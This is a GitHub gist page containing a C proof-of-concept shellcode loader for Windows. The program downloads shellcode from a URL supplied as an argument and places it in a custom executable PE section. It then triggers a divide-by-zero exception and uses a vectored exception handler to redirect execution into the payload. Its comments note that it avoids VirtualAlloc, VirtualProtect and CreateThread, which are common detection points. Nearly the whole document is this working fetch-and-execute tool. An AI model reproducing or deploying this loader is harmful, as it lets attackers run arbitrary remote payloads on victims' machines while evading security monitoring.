Created
March 6, 2026 13:44
-
-
Save st3rven/e29f82f35d4b6a1bd6612cef81dc30a8 to your computer and use it in GitHub Desktop.
Execute shellcode using VEH and causing a division by zero.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Technique: | |
| // 1. Use #pragma section to create a PE section with execute permissions | |
| // 2. Place shellcode buffer in that section via __declspec(allocate) | |
| // 3. Register a Vectored Exception Handler | |
| // 4. Trigger EXCEPTION_INT_DIVIDE_BY_ZERO | |
| // 5. VEH catches it, sets RIP -> shellcode, returns EXCEPTION_CONTINUE_EXECUTION | |
| // | |
| // No VirtualAlloc, no VirtualProtect, no CreateThread -- shellcode lives in | |
| // a statically-linked executable section and runs on the faulting thread. | |
| // | |
| // NOTE: This technique is not 100% reliable. The shellcode inherits the | |
| // register and stack state from the faulting thread at the moment of the | |
| // exception. ASLR-randomized stack bases and varying compiler-generated | |
| // stack layouts mean RSP can land in an unfavorable position between runs, | |
| // causing the shellcode's API resolution or WinExec call to silently fail. | |
| #include <Windows.h> | |
| #include <wininet.h> | |
| #include <stdio.h> | |
| #pragma comment(lib, "wininet.lib") | |
| #pragma section(".exec", execute, read, write) | |
| #pragma comment(linker, "/SECTION:.exec,ERW") | |
| #define MAX_SHELLCODE_SIZE (4024 * 4024) | |
| __declspec(allocate(".exec")) unsigned char shellcode[MAX_SHELLCODE_SIZE] = { 0 }; | |
| unsigned int payload_len = 0; | |
| BOOL FetchShellcode(const char* url) | |
| { | |
| HINTERNET hInternet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); | |
| if (!hInternet) | |
| { | |
| printf("[-] InternetOpen failed: %lu\n", GetLastError()); | |
| return FALSE; | |
| } | |
| HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, | |
| INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, 0); | |
| if (!hUrl) | |
| { | |
| printf("[-] InternetOpenUrl failed: %lu\n", GetLastError()); | |
| InternetCloseHandle(hInternet); | |
| return FALSE; | |
| } | |
| DWORD totalRead = 0; | |
| DWORD bytesRead = 0; | |
| while (InternetReadFile(hUrl, shellcode + totalRead, | |
| MAX_SHELLCODE_SIZE - totalRead, &bytesRead) && bytesRead > 0) | |
| { | |
| totalRead += bytesRead; | |
| if (totalRead >= MAX_SHELLCODE_SIZE) | |
| { | |
| printf("[-] Shellcode exceeds buffer size (%d bytes)\n", MAX_SHELLCODE_SIZE); | |
| InternetCloseHandle(hUrl); | |
| InternetCloseHandle(hInternet); | |
| return FALSE; | |
| } | |
| } | |
| payload_len = totalRead; | |
| InternetCloseHandle(hUrl); | |
| InternetCloseHandle(hInternet); | |
| printf("[+] Downloaded %lu bytes into .exec section\n", totalRead); | |
| return totalRead > 0; | |
| } | |
| LONG WINAPI VehHandler(EXCEPTION_POINTERS* pExInfo) | |
| { | |
| if (pExInfo->ExceptionRecord->ExceptionCode == EXCEPTION_INT_DIVIDE_BY_ZERO) | |
| { | |
| printf("[+] Caught EXCEPTION_INT_DIVIDE_BY_ZERO\n"); | |
| printf(" Faulting RIP : 0x%p\n", (void*)pExInfo->ContextRecord->Rip); | |
| printf(" Shellcode : 0x%p\n", (void*)shellcode); | |
| printf("[+] Redirecting RIP -> shellcode\n"); | |
| pExInfo->ContextRecord->Rip = (DWORD64)shellcode; | |
| // Align RSP to 16 bytes and reserve scratch space so the | |
| // shellcode's CALL/PUSH sequence doesn't land on a misaligned | |
| // or clobbered stack frame left over from main(). | |
| pExInfo->ContextRecord->Rsp &= ~(DWORD64)0xF; | |
| pExInfo->ContextRecord->Rsp -= 8; | |
| return EXCEPTION_CONTINUE_EXECUTION; | |
| } | |
| return EXCEPTION_CONTINUE_SEARCH; | |
| } | |
| int main(int argc, char* argv[]) | |
| { | |
| if (argc < 2) | |
| { | |
| printf("Usage: %s <shellcode_url>\n", argv[0]); | |
| return -1; | |
| } | |
| printf("[*] VEH Div-by-Zero Execution PoC (remote fetch)\n"); | |
| if (!FetchShellcode(argv[1])) | |
| { | |
| printf("[-] Failed to fetch shellcode\n"); | |
| return -1; | |
| } | |
| printf("[*] Shellcode @ 0x%p (%u bytes) in PE section .exec\n", | |
| (void*)shellcode, payload_len); | |
| PVOID hVeh = AddVectoredExceptionHandler(1, VehHandler); | |
| if (!hVeh) | |
| { | |
| printf("[-] AddVectoredExceptionHandler failed: %lu\n", GetLastError()); | |
| return -1; | |
| } | |
| printf("[+] VEH handler registered\n"); | |
| printf("[*] Triggering division by zero...\n"); | |
| volatile int divisor = 0; | |
| volatile int result = 1 / divisor; | |
| printf("[?] Post-exception (shellcode returned cleanly)\n"); | |
| RemoveVectoredExceptionHandler(hVeh); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment